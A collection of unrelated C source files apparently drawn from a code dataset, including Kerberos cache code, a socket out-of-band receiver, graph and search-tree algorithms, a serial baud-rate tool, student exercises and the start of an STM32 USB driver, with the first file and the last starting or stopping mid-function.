krb5_error_code retval;
if ((retval = stdcc_setup(context, ccapi_data))) {
if (retval == KRB5_FCC_NOFILE)
return 0;
return retval;
}
/* convert to a cred union */
dupK5toCC(context, creds, &cu);
/* remove it */
err = cc_remove_cred(gCntrlBlock, ccapi_data->NamedCache, *cu);
if (err != CC_NOERROR)
return cc_err_xlate(err);
/* free the cred union using our local version of cc_free_creds()
since we allocated it locally */
err = krb5int_free_cc_cred_union(&cu);
cache_changed();
if (err != CC_NOERROR)
return cc_err_xlate(err);
return 0;
}
#endif /* !USE_CCAPI_V3 */
#endif /* defined(_WIN32) || defined(USE_CCAPI) */
|
the_stack_data/838051.c
|
/****************************************************************
Copyright (C) 2014 Sean Guo. All rights reserved.
> File Name: < oob_client.c >
> Author: < Sean Guo >
> Mail: < [email protected] >
> Created Time: < 2014/07/07 >
> Last Changed:
> Description: OOB receiver...
****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
extern void bail(char *on_what);
extern int BindAccept(char *addr);
static int s = -1; /* Socket */
/*
* SIGURG signal handler:
*/
static void sigurg(int signo)
{
int n;
char buf[256];
n = recv(s,buf,sizeof buf,MSG_OOB);
if(n<0)
bail("recv(2)");
buf[n] = 0;
printf("URG ''%s'' (%d) \n",buf,n);
signal(SIGURG,sigurg);
}
int main(int argc,char **argv)
{
int z; /* Status */
char buf[256];
/*
* Use a server address from the command
* line,if one has been provided.
* Otherwise,this program will default
* to using the arbitrary address
* 127.0.0.1:
*/
s = BindAccept(argc >=2 ?argv[1] :"127.0.0.1:9011");
/*
* Establish owership:
*/
z = fcntl(s,F_SETOWN,getpid());
if(z==-1)
bail("fcntl(2)");
/*
* Catch SIGURG:
*/
signal(SIGURG,sigurg);
for(;;)
{
z = recv(s,buf,sizeof buf,0);
if(z==-1)
bail("recv(2)");
if(z==0)
break;
buf[z] = 0;
printf("recv ''%s'' (%d) \n",buf,z);
}
close(s);
return 0;
}
|
the_stack_data/285464.c
|
#include<stdio.h>
#define MAX 30
typedef struct edge
{
int u,v,w;
}edge;
typedef struct edgelist
{
edge data[MAX];
int n;
}edgelist;
edgelist elist;
int G[MAX][MAX],n;
edgelist spanlist;
void kruskal();
int find(int belongs[],int vertexno);
void union1(int belongs[],int c1,int c2);
void sort();
void print();
void main()
{
int i,j,total_cost;
printf("\nEnter number of vertices:");
scanf("%d",&n);
printf("\nEnter the adjacency matrix:\n");
for(i=0;i<n;i++)
for(j=0;j<n;j++)
scanf("%d",&G[i][j]);
kruskal();
print();
}
void kruskal()
{
int belongs[MAX],i,j,cno1,cno2;
elist.n=0;
for(i=1;i<n;i++)
for(j=0;j<i;j++)
{
if(G[i][j]!=0)
{
elist.data[elist.n].u=i;
elist.data[elist.n].v=j;
elist.data[elist.n].w=G[i][j];
elist.n++;
}
}
sort();
for(i=0;i<n;i++)
belongs[i]=i;
spanlist.n=0;
for(i=0;i<elist.n;i++)
{
cno1=find(belongs,elist.data[i].u);
cno2=find(belongs,elist.data[i].v);
if(cno1!=cno2)
{
spanlist.data[spanlist.n]=elist.data[i];
spanlist.n=spanlist.n+1;
union1(belongs,cno1,cno2);
}
}
}
int find(int belongs[],int vertexno)
{
return(belongs[vertexno]);
}
void union1(int belongs[],int c1,int c2)
{
int i;
for(i=0;i<n;i++)
if(belongs[i]==c2)
belongs[i]=c1;
}
void sort()
{
int i,j;
edge temp;
for(i=1;i<elist.n;i++)
for(j=0;j<elist.n-1;j++)
if(elist.data[j].w>elist.data[j+1].w)
{
temp=elist.data[j];
elist.data[j]=elist.data[j+1];
elist.data[j+1]=temp;
}
}
void print()
{
int i,cost=0;
for(i=0;i<spanlist.n;i++)
{
printf("\n%d\t%d\t%d",spanlist.data[i].u,spanlist.data[i].v,spanlist.data[i].w);
cost=cost+spanlist.data[i].w;
}
printf("\n\nCost of the spanning tree=%d",cost);
}
|
the_stack_data/182954088.c
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main(int argc, char *argv[])
{
double S,a,h,D;
scanf("%lf %lf",&S,&a);
D=a*a+8*S;
h=(-a+sqrt(D))/2;
printf("%.2lf\n",h);
return 0;
}
|
the_stack_data/178264719.c
|
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -fopenmp -ast-dump %s | FileCheck --match-full-lines -implicit-check-not=openmp_structured_block %s
void test() {
#pragma omp taskgroup
;
}
// CHECK: TranslationUnitDecl {{.*}} <<invalid sloc>> <invalid sloc>
// CHECK: `-FunctionDecl {{.*}} <{{.*}}ast-dump-openmp-taskgroup.c:3:1, line:6:1> line:3:6 test 'void ()'
// CHECK-NEXT: `-CompoundStmt {{.*}} <col:13, line:6:1>
// CHECK-NEXT: `-OMPTaskgroupDirective {{.*}} <line:4:1, col:22>
// CHECK-NEXT: `-CapturedStmt {{.*}} <line:5:3>
// CHECK-NEXT: `-CapturedDecl {{.*}} <<invalid sloc>> <invalid sloc>
// CHECK-NEXT: |-NullStmt {{.*}} <col:3>
// CHECK-NEXT: `-ImplicitParamDecl {{.*}} <line:4:1> col:1 implicit __context 'struct (anonymous at {{.*}}ast-dump-openmp-taskgroup.c:4:1) *const restrict'
|
the_stack_data/242664.c
|
/* Copyright (c) Piotr Durlej
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <limits.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
int main(int argc, char **argv)
{
char buf[PATH_MAX];
if (!getcwd(buf, sizeof(buf)))
{
perror(NULL);
return 1;
}
printf("%s\n", buf);
return 0;
}
|
the_stack_data/165768915.c
|
#include <stdio.h>
int main(void) {
for (int i = 0; i <= 100; i += 2) {
printf("%d -> %f -> %f -> %d\n", i, (float)i, i + 0.25f, (int) (i * 0.33));
}
for (int j = 0; j < 20; j++) {
double y = j / 20.0;
for (int i = 0; i < 20; i++) {
double x = i / 10.0;
printf("%s ", x < y ? "X":" ");
}
printf("\n");
}
return 0;
}
|
the_stack_data/89199016.c
|
//
// Copyright (c) 2015 Martin Capitanio <[email protected]>
//
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
//
// Allows to set almost arbitrary speed for an UART on Linux.
//
// See:
// http://stackoverflow.com/questions/12646324/how-to-set-a-custom-baud-rate-on-linux
// https://gist.github.com/sentinelt/3f1a984533556cf890d9
//
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <asm/termios.h>
extern int ioctl(int a, unsigned int b, void *tio);
static void setraw(struct termios2* t2);
int main(int argc, char* argv[])
{
if (argc < 3) {
printf("%s device speed\n\nSet speed for a serial device.\n"
"For instance:\n"
" %s /dev/ttyUSB0 38400 [raw]\n\n", argv[0], argv[0]);
return -1;
}
int fd = open(argv[1], O_RDONLY);
int speed = atoi(argv[2]);
struct termios2 tio;
ioctl(fd, TCGETS2, &tio);
printf("speed (i/o): %d %d\n", tio.c_ispeed, tio.c_ospeed);
if (argc == 4 && argv[3][0] == 'r') {
puts("set raw mode");
setraw(&tio);
}
if ((tio.c_ispeed != speed) || (tio.c_ispeed != speed)) {
printf("set speed to: %d %d\n", speed, speed);
}
tio.c_cflag &= ~CBAUD;
tio.c_cflag |= BOTHER;
tio.c_ispeed = speed;
tio.c_ospeed = speed;
int r = ioctl(fd, TCSETS2, &tio);
if (r != 0) {
puts("Error: ioctl:");
perror("ioctl");
close(fd);
return 1;
}
ioctl(fd, TCGETS2, &tio);
close(fd);
return 0;
}
// Disable as much crap as possible.
static void setraw(struct termios2* t2)
{
// input mode flags
t2->c_iflag &= ~(IGNBRK|BRKINT|IGNPAR|PARMRK|INPCK|ISTRIP|
INLCR|IGNCR|ICRNL|IXON|IXOFF);
// output mode flags
t2->c_oflag &= ~OPOST;
// local mode flags
t2->c_lflag &= ~(ISIG|ICANON|ECHO|ECHONL|IEXTEN);
// control mode flags
t2->c_cflag &= ~(CSIZE|PARENB);
t2->c_cflag |= CS8;
// control characters - wait for 1 byte
t2->c_cc[VTIME] = 0;
t2->c_cc[VMIN] = 1;
}
|
the_stack_data/86076434.c
|
#include <stdio.h>
#include <limits.h>
int sum(int freq[], int i, int j);
int optCost(int freq[], int i, int j)
{
if (j < i)
{
return 0;
}
if (j == i)
{
return freq[i];
}
int fsum = sum(freq, i, j);
int min = INT_MAX;
for (int r = i; r <= j; r++)
{
/* code */
int cost = optCost(freq, i, r - 1) + optCost(freq, r + 1, j);
if (cost < min)
min = cost;
}
return min + fsum;
}
int sum(int freq[], int i, int j)
{
int s = 0;
for (int k = i; k <= j; k++)
{
/* code */
s += freq[k];
}
return s;
}
int optimalSearchTree(int keys[], int freq[], int n)
{
return optCost(freq, 0, n - 1);
}
int main()
{
/* code */
int keys[] = {10, 12, 20};
int freq[] = {34, 8, 50};
int n = sizeof(keys) / sizeof(keys[0]);
printf("Cost of Optimal BST is %d ", optimalSearchTree(keys, freq, n));
return 0;
}
|
the_stack_data/104455.c
|
/*
Copyright 2015 Joao Rietra
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define OPEN_LEN (30)
#define AUX_LEN (30)
#define LINE_LEN (1000)
#define SWITCH(ptr) if(true){char* _ptr = ptr;if(false){
#define CASE(str) } else if(!strcmp(_ptr, str)) {
#define DEFAULT() } else {
#define ENDSWITCH() }}
#define ERROR() printf("error: line %d\n",lineNumber);exit(0);
typedef enum{false, true} bool;
typedef enum {
HASH_END = -1,
HASH_NONE,
HASH_IF, HASH_ELSEIF, HASH_ELSE,
HASH_DOWHILE, HASH_WHILE, HASH_LOOP,
HASH_FUNCTION
} Hashtag;
Hashtag open[OPEN_LEN];
int lineNumber = 0,
countIF = 0,
curIF = 0,
stackIF[AUX_LEN],
subcountIF[AUX_LEN],
curLOOP = 0,
countLOOP = 0,
stackLOOP[AUX_LEN],
funcPushCount;
char line[LINE_LEN], temp[20], func[50], tabs[20];
char v1[50], v2[50], op[10];
FILE* in = NULL;
FILE* out = NULL;
void closeHash();
void openHash(Hashtag);
bool printCond();
int countIFs();
void popIF();
void pushIF();
void popLOOP();
void pushLOOP();
void closeHash(){
int i, c;
for(i=OPEN_LEN-1; i>=0; i--){
if(open[i] != HASH_NONE){
break;
}
}
switch(open[i]){
case HASH_IF:
case HASH_ELSEIF:
c = countIFs();
fprintf(out, "%s_if_%d_%d:\n",
tabs, curIF, ++subcountIF[c-1]);
case HASH_ELSE:
fprintf(out, "%s_if_%d_out:\n",
tabs, curIF);
popIF();
while(i && open[i] > 1 && open[i] >= open[i-1]){
open[i] = 0;
i--;
}
open[i] = 0;
break;
case HASH_DOWHILE:
case HASH_WHILE:
open[i] = 0;
fprintf(out, "%sJMP _loop_%d\n%s_loop_%d_out:\n",
tabs, curLOOP, tabs, curLOOP);
popLOOP();
break;
case HASH_LOOP:
open[i] = 0;
fprintf(out, "%sLOOP _loop_%d\n%s_loop_%d_out:\n",
tabs, curLOOP, tabs, curLOOP);
popLOOP();
break;
case HASH_FUNCTION:
open[i] = 0;
fprintf(out, "%s_%s_end:\n%sLEAVE\n%sRET\n%s_%s_out:\n",
tabs, func, tabs, tabs, tabs, func);
sprintf(func, "0");
break;
case HASH_NONE:
case HASH_END:
default:
ERROR();
}
}
void openHash(int h){
int i;
for(i=0; i<OPEN_LEN; i++){
if(open[i] == HASH_NONE){
open[i] = h;
return;
}
}
}
void trim(char* str){
int i, len = strlen(str);
for(i=len-1; isspace(str[i]); i--){
str[i] = '\0';
}
}
void getTabs(){
int i, len=strlen(line);
for(i=0; i<len; i++){
if(!isspace(line[i])){
tabs[i] = '\0';
break;
} else {
tabs[i] = line[i];
}
}
}
bool printCond(){
sscanf(line, " #%*[^ \t\n] %[^><!=\n] %[^ ] %[^\n]",
v1, op, v2);
trim(v1);
trim(v2);
trim(op);
SWITCH(v1)
CASE("true")
return false;
CASE("false")
fprintf(out, "JMP ");
return true;
ENDSWITCH();
SWITCH(op)
CASE(">")
sprintf(op, "LE");
CASE(">=")
sprintf(op, "L");
CASE("==")
sprintf(op, "NE");
CASE("!=")
sprintf(op, "E");
CASE("<=")
sprintf(op, "G");
CASE("<")
sprintf(op, "GE");
DEFAULT()
ERROR();
ENDSWITCH()
fprintf(out, "%sCMP %s, %s\n%sJ%s ",
tabs, v1, v2, tabs, op);
return true;
}
int countIFs(){
int i, count = 0;
for(i=0; i<OPEN_LEN; i++){
if(open[i] == HASH_IF){
count++;
}
}
return count;
}
void popIF(){
int i, c;
c = countIFs();
subcountIF[c-1] = 0;
for(i=AUX_LEN-1; i>=0; i--){
if(stackIF[i] != 0){
stackIF[i] = 0;
if(i >= 1){
curIF = stackIF[i-1];
} else {
curIF = 0;
}
return;
}
}
}
void pushIF(){
int i, c;
c = countIFs();
subcountIF[c] = 1;
for(i=0; i<AUX_LEN; i++){
if(stackIF[i] == HASH_NONE){
curIF = stackIF[i] = ++countIF;
return;
}
}
ERROR();
}
void popLOOP(){
int i;
for(i=AUX_LEN-1; i>=0; i--){
if(stackLOOP[i] != 0){
stackLOOP[i] = 0;
if(i >= 1){
curLOOP = stackLOOP[i-1];
} else {
curLOOP = 0;
}
return;
}
}
}
void pushLOOP(){
int i;
for (i=0; i<AUX_LEN; ++i){
if(stackLOOP[i] == 0){
curLOOP = stackLOOP[i] = ++countLOOP;
return;
}
}
ERROR();
}
bool getLine(){
int i, c;
if(fgets(line, 1000, in) == NULL){
return false;
}
trim(line);
getTabs();
sscanf(line, " %s", temp);
lineNumber++;
if(temp[0] == '#'){
sscanf(line, " #%[^ ]", temp);
SWITCH(temp)
CASE("end")
closeHash();
CASE("if")
pushIF();
fprintf(out, "%s_if_%d_%d:\n",
tabs, curIF, 1);
if(printCond()){
fprintf(out, "_if_%d_%d\n",
curIF, 2);
}
openHash(HASH_IF);
CASE("elseif")
if(curIF == 0){
ERROR();
}
c = countIFs() - 1;
subcountIF[c]++;
fprintf(out, "%sJMP _if_%d_out\n%s_if_%d_%d:\n",
tabs, curIF, tabs, curIF, subcountIF[c]);
if(printCond()){
fprintf(out, "_if_%d_%d\n",
curIF, subcountIF[c]+1);
}
openHash(HASH_ELSEIF);
CASE("else")
if(curIF == 0){
ERROR();
}
c = countIFs() - 1;
subcountIF[c]++;
fprintf(out, "%sJMP _if_%d_out\n%s_if_%d_%d:\n",
tabs, curIF, tabs, curIF, subcountIF[c]);
openHash(HASH_ELSE);
CASE("dowhile")
pushLOOP();
fprintf(out, "%sJMP _loop_%d_in\n%s_loop_%d:\n",
tabs, curLOOP, tabs, curLOOP);
if(printCond()){
fprintf(out, "_loop_%d_out\n",
curLOOP);
}
fprintf(out, "%s_loop_%d_in:\n",
tabs, curLOOP);
openHash(HASH_DOWHILE);
CASE("while")
pushLOOP();
fprintf(out, "%s_loop_%d:\n",
tabs, curLOOP);
if(printCond()){
fprintf(out, "_loop_%d_out\n",
curLOOP);
}
openHash(HASH_WHILE);
CASE("loop")
pushLOOP();
sscanf(line, " #%*[^ \t\n] %[^\n] ", temp);
fprintf(out, "%sMOV cx, %s\n%s_loop_%d:\n",
tabs, temp, tabs, curLOOP);
openHash(HASH_LOOP);
CASE("break")
if(curLOOP){
fprintf(out, "%sJMP _loop_%d_out\n",
tabs, curLOOP);
} else {
ERROR();
}
CASE("continue")
if(curLOOP){
fprintf(out, "%sJMP _loop_%d\n",
tabs, curLOOP);
} else {
ERROR();
}
CASE("return")
sprintf(temp, "\\");
sscanf(line, " #%*[^ \n\t] %[^\n] ", temp);
SWITCH(temp)
CASE("\\")
DEFAULT()
fprintf(out, "%sMOV [_temp], %s\n",
tabs, temp);
ENDSWITCH()
SWITCH(func)
CASE("0")ERROR()
ENDSWITCH()
fprintf(out, "%sJMP _%s_end\n", tabs, func);
CASE("function")
int n, i;
funcPushCount = 0;
sscanf(line, " #%*[^ \n\t] %[^\n] ",
line);
sscanf(line, " %[^ ] %d: %[^\n] ",
func, &n, line);
fprintf(out, "%%macro %s %d\nPUSHA\n",
func, n);
for(i=1; i<=n; i++){
sscanf(line, " %[^,], %[^\n] ",
temp, line);
fprintf(out, "%sMOV %s, %%%d\n", tabs, temp, i);
}
fprintf(out, "%sCALL _%s\n%sPOPA\n%%endmacro\nJMP _%s_out\n_%s:\n%sENTER 0, 0\n",
tabs, func, tabs, func, func, tabs);
openHash(HASH_FUNCTION);
CASE(">")
sscanf(line, " #%*s %[^\n] ", temp);
trim(temp);
fprintf(out, "%sMOV %s, [_temp]\n", tabs, temp);
DEFAULT()
//printf("#");
ERROR();
ENDSWITCH()
} else {
fprintf(out, "%s\n", line);
}
return true;
}
int main(int argc, char* argv[]){
int i, c;
if(argc <= 1){
printf("j-nasm: error: no input file specified\n");
exit(0);
} else {
in = fopen(argv[1], "r");
}
out = fopen("./j.asm", "w");
for(i = 0; i<OPEN_LEN; i++){
open[i] = 0;
}
for (i = 0; i<AUX_LEN; i++){
subcountIF[i] = 0;
stackIF[i] = 0;
stackLOOP[i] = 0;
}
fprintf(out, ";\n; Little help from:\n; Joao Rietra\n;\n");
while(getLine());
fclose(in);
fclose(out);
printf("./j.asm\n");
for(c = i = 0; i<OPEN_LEN; i++){
if(open[i] != 0){
if(!(c++)){
printf("error: unclosed labels (missing #end):\n");
}
switch(open[i]){
case HASH_IF:
printf("#if\n");
break;
case HASH_ELSEIF:
printf("#elseif\n");
break;
case HASH_ELSE:
printf("#else\n");
break;
case HASH_WHILE:
printf("#while\n");
break;
case HASH_DOWHILE:
printf("#dowhile\n");
break;
case HASH_END:
case HASH_NONE:
default:
break;
}
}
}
return 0;
}
|
the_stack_data/123313.c
|
// A program that asks the user for a dialing code, then looks it up
// in the country codes array (the array is already in the book)
// if it finds the code, it returns the country code, otherwise print an error msg.
#include <stdio.h>
#define COUNTRY_AMOUNT ((int) (sizeof(country_codes) / sizeof(country_codes[0])))
int main(void)
{
int user_code;
struct dialing_code {
char *country;
int code;
};
const struct dialing_code country_codes[] =
{{"Argentina", 54}, {"Bangladesh", 880},
{"Brazil", 55}, {"Burma (Myanmar)", 95},
{"China", 86}, {"Colombia", 57},
{"Congo, Dem. Rep. of", 243}, {"Egypt", 20},
{"Ethiopia", 251}, {"France", 33},
{"Germany", 49}, {"India", 91},
{"Indonesia", 62}, {"Iran", 98},
{"Italy", 39}, {"Japan", 81},
{"Mexico", 52}, {"Nigeria", 234},
{"Pakistan", 92}, {"Philippines", 63},
{"Poland", 48}, {"Russia", 7},
{"South Africa", 27}, {"South Korea", 82},
{"Spain", 34}, {"Sudan", 249},
{"Thailand", 66}, {"Turkey", 90},
{"Ukraine", 380}, {"United Kingdom", 44},
{"United States", 1}, {"Vietnam", 84}};
printf("Enter a dialing code and you shall receive the country name: ");
scanf("%d", &user_code);
// Since it aint sorted, linear search it is.
for (int i = 0; i < COUNTRY_AMOUNT; i++)
{
if (user_code == country_codes[i].code)
{
printf("The country is %s\n", country_codes[i].country);
return 0;
}
}
printf("This code is invalid.\n");
return 1;
}
|
the_stack_data/165767903.c
|
/*
Write a program that takes a single positive integer (say N) as a command line
argument, generates N random integers between 0 and 10, 000. Insert them (one
by one) into a list in sorted order. Assume the list is initially empty.
Example: Generated elements: 8, 5, 10, 1, . . . List: 8 → 5 8 → 5 8 10 → 1 5 8 10.
I. Use the same process for storing the elements using : (a) an array; (b) a linked list;
II. Run your program 6 times each for N = 100, 500, 1000, 2000, 3000, . . ., 10000.
Print the sorted list to standard output, and the time taken (followed by a single tab,
but no newline) to standard error.
III. Find the average time taken for each value of N and for each implementation
method given above.
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
struct LinkedList{
int val;
struct LinkedList* next;
};
typedef struct LinkedList LL;
void sortedPush(LL**, int);
void sortedPushArr(int*, int);
void display(LL*);
int main(){
srand(time(0));
int arr[12] = {100, 500, 1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 9000, 10000};
for(int n=0; n<12; n++){
int N = arr[n], k = 6;
printf("\nFor N = %d:\n", N);
double avg_time_array = 0, avg_time_ll = 0;
while(k--){
LL* head=NULL;
int list[N+1], num[N];
memset(list, -1, (N+1)*sizeof(int));
for(int i = 0; i<N; i++){
num[i] = rand()%10001;
}
clock_t Atime = clock();
for(int i=0; i<N; i++) sortedPushArr(list, num[i]);
Atime = clock() - Atime;
double time_taken_in_array_implementation = ((double)Atime)/CLOCKS_PER_SEC;
clock_t Ltime = clock();
for(int i=0; i<N; i++) sortedPush(&head, num[i]);
Ltime = clock() - Ltime;
double time_taken_in_LL_implementation = ((double)Ltime)/CLOCKS_PER_SEC;
display(head);
avg_time_array+=time_taken_in_array_implementation;
avg_time_ll+=time_taken_in_LL_implementation;
fflush(stdout);
fprintf(stderr, "\n\nTime taken in array implementation: %lf\n", time_taken_in_array_implementation);
fflush(stderr);
fflush(stdout);
fprintf(stderr, "Time taken in LinkedList implementation: %lf\n\n", time_taken_in_LL_implementation);
fflush(stderr);
printf("\n");
}
fflush(stdout);
fprintf(stderr, "\nAverage Time taken in array implementation: %lf\n", avg_time_array/6);
fflush(stderr);
fflush(stdout);
fprintf(stderr, "\nAverage Time taken in LinkedList implementation: %lf\n", avg_time_ll/6);
fflush(stderr);
printf("\n\n");
}
return 0;
}
void sortedPush(LL** head, int val){
if(*head == NULL || (*head)->val > val) {
LL* new = (LL*)malloc(sizeof(LL));
new->next = *head;
new->val = val;
*head = new;
return ;
}
LL* temp = *head;
while(temp->next!=NULL && temp->next->val<val){
temp = temp->next;
}
LL* new = (LL*)malloc(sizeof(LL));
new->val = val;
new->next = temp->next;
temp->next = new;
return ;
}
void sortedPushArr(int* list, int val){
if(list[0]==-1){
list[0] = val;
return ;
}
int i = 0, tem = 0;
while(list[i]!=-1 && list[i]<val){
i++;
}
tem = list[i];
list[i] = val;
i++;
while(list[i]!=-1){
tem^=list[i];
list[i]^=tem;
tem^=list[i];
i++;
}
list[i] = tem;
return ;
}
void display(LL* head){
while(head!=NULL){
printf("%d ", head->val);
if(head->next!=NULL){
printf("-> ");
}
head=head->next;
}
}
|
the_stack_data/231393645.c
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(int argc, char** argv) {
if (argc < 2) {
printf("Missing argument.\n");
exit(1);
}
FILE* f = fopen(argv[1], "rb");
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
unsigned char* mem = malloc(size);
size_t got = fread(mem, 1, size, f);
assert(got == size);
(void)got;
fclose(f);
int pc = 0;
while (1) {
char inst = mem[pc++];
switch (inst) {
case 0: // Halt
exit(0);
default:
printf("unknown instruction %d\n", inst);
exit(1);
}
}
return 0;
}
|
the_stack_data/1134908.c
|
int target_func(char* buf, int size) {}
int main() {}
|
the_stack_data/48575686.c
|
/* @Author: Kishan Adhikari
@Filename: company.c
@Created Date: 2078/05/10
@Description:Read characters from file “filec.txt” created in question 1.
Also count the number of characters in the file (use fputs() and fgets() function).
*/
#include <stdio.h>
int main()
{
FILE *fptr;
int count = 0;
char ch;
fptr = fopen("filec.txt", "r");
if (fptr == NULL)
{
printf("Error opening File");
return -1;
}
while ((ch = getc(fptr)) != EOF) //we consider white space as a character
{
count++;
}
fclose(fptr);
printf("Total number of character is %d:\n", count);
}
|
the_stack_data/90765585.c
|
#include <stdio.h>
#define N_CIFRE 10
int main(void) {
unsigned long long n, i;
scanf("%lld", &n);
int cifre[N_CIFRE] = {};
for (i=n; i > 0; i /= N_CIFRE) {
cifre[i % N_CIFRE]++;
}
int ricorrenze[N_CIFRE+1] = {}, j = 0;
for (i=0; i < N_CIFRE; i++) {
if (cifre[i] > 1) {
ricorrenze[j] = i;
j++;
}
}
if (j > 0) {
printf("Cifre ripetute: ");
for (i=0; i<N_CIFRE+1 && ricorrenze[i] != 0; i++) {
printf("%d", ricorrenze[i]);
if (ricorrenze[i+1] != 0)
printf(", ");
}
} else
printf("Non ci sono cifre ripetute");
}
|
the_stack_data/585379.c
|
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ____ ___ __ _
// / __// o |,'_/ .' \
// / _/ / _,'/ /_n / o / _ __ _ ___ _ _ __
// /_/ /_/ |__,'/_n_/ / \,' /.' \ ,' _/,' \ / |/ /
// / \,' // o /_\ `./ o // || /
// /_/ /_//_n_//___,'|_,'/_/|_/
//
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Author : Wesley Taylor-Rendal (WTR)
// Design history : Review git logs.
// Description : Revising the program 6.10a to generate prime numbers,
// : version 2
// Concepts : Condition based assignment to array
// : Limited dimension of array used. Only 15 primes upto 50
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <stdbool.h>
int main(void)
{
int p, i, primes[50], primeIndex=2;
bool isPrime;
// using arrays
primes[0] = 2;
primes[1] = 3;
// inc to avoid even numbers
for (p=5; p<=50; p=p+2)
{
isPrime=true;
// Rule out triggering on 1 and 2.
for (i = 2; isPrime && p/primes[i] >= primes[i]; ++i)
if (p%primes[i] == 0)
isPrime = false;
if (isPrime == true) // if isPrime
{
primes[primeIndex] = p;
++primeIndex; // There are 15 primes up to 50
}
}
for (i = 0; i < primeIndex; ++i)
printf("%i ", primes[i]);
printf("\n");
return 0;
}
|
the_stack_data/6387273.c
|
/******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
* File Name : otgd_fs_pcd.c
* Author : MCD Application Team
* Version : V3.3.0
* Date : 21-March-2011
* Description : Peripheral Device Interface low layer.
********************************************************************************
* THE PRESENT SOFTWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
* AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
* INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
* CONTENT OF SUCH SOFTWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
* INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*******************************************************************************/
#ifdef STM32F10X_CL
#include "usb_lib.h"
#include "otgd_fs_cal.h"
#include "otgd_fs_pcd.h"
USB_OTG_PCD_DEV USB_OTG_PCD_dev;
extern USB_OTG_CORE_REGS USB_OTG_FS_regs;
/*******************************************************************************
* Function Name : PCD_Init
* Description : Initialize the USB Device portion of the driver.
* Input : None
* Output : None
* Return : None
*******************************************************************************/
void PCD_Init(void)
{
uint32_t i = 0;
USB_OTG_EP *ep;
/**** SOFTWARE INIT *****/
ep = &USB_OTG_PCD_dev.ep0;
/* Init ep structure */
ep->num = 0;
ep->tx_fifo_num = 0;
/* Control until ep is activated */
ep->type = EP_TYPE_CTRL;
ep->maxpacket = MAX_PACKET_SIZE;
ep->xfer_buff = 0;
ep->xfer_len = 0;
for (i = 1; i < NUM_TX_FIFOS ; i++)
{
ep = &USB_OTG_PCD_dev.in_ep[i-1];
/* Init ep structure */
ep->is_in = 1;
ep->num = i;
ep->tx_fifo_num = i;
/* Control until ep is activated */
ep->type = EP_TYPE_CTRL;
ep->maxpacket = MAX_PACKET_SIZE;
ep->xfer_buff = 0;
ep->xfer_len = 0;
}
for (i = 1; i < NUM_TX_FIFOS; i++)
{
ep = &USB_OTG_PCD_dev.out_ep[i-1];
/* Init ep structure */
ep->is_in = 0;
ep->num = i;
ep->tx_fifo_num = i;
/* Control until ep is activated */
ep->type = EP_TYPE_CTRL;
ep->maxpacket = MAX_PACKET_SIZE;
ep->xfer_buff = 0;
ep->xfer_len = 0;
}
USB_OTG_PCD_dev.ep0.maxpacket = MAX_EP0_SIZE;
USB_OTG_PCD_dev.ep0.type = EP_TYPE_CTRL;
/**** HARDWARE INIT *****/
